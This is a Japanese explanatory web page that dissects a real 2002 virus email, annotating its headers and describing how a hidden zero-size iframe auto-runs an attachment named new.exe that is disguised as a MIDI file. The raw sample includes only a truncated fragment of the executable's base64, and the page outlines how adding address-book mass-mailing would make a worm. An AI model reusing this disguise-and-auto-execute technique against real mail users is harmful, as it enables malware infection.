ウイルスメールの構造

HTMLメールをビューすることによって添付ファイルを起動させる「ビュー起動型」のウイルスメールがどのような構造をしているのかを、実際作者のところに来たウイルスメールで説明していきます。以下がその純粋にメールサーバに蓄えられている形のウイルスメールです。メーラはこれをコード変換して読める形に直します。いくつかの場所の「*」はプライベートな情報を隠すために目つぶしをしたものです。


「ビュー起動型」ウイルスメールの例
Return-Path: gobi@********.com.sg
Date: Fri, 2 Aug 2002 20:05:16 +0800 (SGT)
From: webmaster <webmaster@********.co.jp>@
To: CZQ00116@nifty.ne.jpA
Subject: Let's be friendsB
Received: from ****.****.com.sg (****.****.com.sg [**.**.**.**])
	by ums515.nifty.ne.jp (8.9.3+3.2W/3.7W001208)
	with ESMTP id VAA02961
	for <CZQ00116@nifty.ne.jp> ;
	Fri, 2 Aug 2002 21:07:03 +0900 (JST)
Received: from Ihed ([**.**.**.**])
        by ****.****.com.sg with SMTP
        id g72C5Gms023066 for <CZQ00116@nifty.ne.jp> ;
	Fri, 2 Aug 2002 20:05:17 +0800 (SGT)
Message-Id: <200208021205.g72C5Gms023066@****.****.com.sg>
MIME-Version: 1.0
Content-Type: multipart/alternative;C
	boundary=Hyoy759Y8T272h33n1AGl392P6FD
X-UIDL: 3d4a765800H07TQW
E
--Hyoy759Y8T272h33n1AGl392P6FF
Content-Type: text/html;G
Content-Transfer-Encoding: quoted-printableH
E
<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:UU0fCV2Mc height=3D0 width=3D0>I
</iframe>
<FONT></FONT></BODY></HTML>

--Hyoy759Y8T272h33n1AGl392P6FF
Content-Type: audio/x-midi;
	name=new.exeJ
Content-Transfer-Encoding: base64K
Content-ID: <UU0fCV2Mc>L
E
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn
GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA
UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA
QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA
ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ
AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA
QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA
AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(中略)
--Hyoy759Y8T272h33n1AGl392P6F--F
@メールの差出人です。とはいいながら実はうそが書かれているかもしれないというのは衆知の事実です。
Aメールの受取人です。
Bメールタイトルです。
Cこのメールがマルチパート(複数の部分)に分かれていること示します。添付ファイルがある場合は通常この Content-Type になります。
Dマルチパートの境界は「Hyoy759Y8T272h33n1AGl392P6F」という文字列で示すという指定です。
Eヘッダーと本文の間は1行空行を入れることになっています。その空行です。
FDで指定された境界を表します。
GHTMLメールであることを表します。
Hバイナリーデータを送るときに使用されるエンコード(符号化)方式が quoted-printable であることを表します。quoted-printable というのは、バイナリーデータのうち文字としてそのまま送信できるデータはそのままにして、送れない例えば16進数で 0A は「=0A」と言うように表現するものです。「=」は例外で「=3D」と表現されます。従ってIをデコード(復号化)すると <iframe src=cid:UU0fCV2Mc height=0 width=0> になります。
I問題の<iframe>タグです。cid は Content-ID という意味です。
J添付ファイルのファイル名が「new.exe」であることを示します。
K添付ファイルのエンコード(符号化)方式が base64 であることを表します。base64 というのは簡単にいうと、3バイト(24ビット)を4等分し6ビットずつにして各々を26=64個の文字(A-Z,a-z,0-9,+,/)であらわしたものです。
Lこのパートの Content-ID は「UU0fCV2Mc」であることを表します。これはIで出てきた Content-ID と一致しています。

上記の説明でほぼわかったと思いますが、一応補足しておきます。

まず<iframe>で実現されるインラインフレームとは以下のものです。
<iframe src="inlineframe.htm" height=100 width=300></iframe>

上記の中身はこれです。

フレームの中にフレームがある感じになります。この inlineframe.htm の代わりに実行形式ファイル(例 *.exe、*.pif、上記のメールの例では new.exe)を指定して、それを実行させようとするのがウイルスメールの原理になります。

その実行コードの中に、アドレス帳からメールアドレスを取りだしメールを送る機能を入れればウイルスの完成です。

そのそもインラインフレームなんてものがあるからいけないんで、いっそ Internet Explorer からこの機能を取ってしまえば、細かいパッチ当てなんかも必要ないと思っているのは作者だけではないと思いますが...>Microsoft


戻る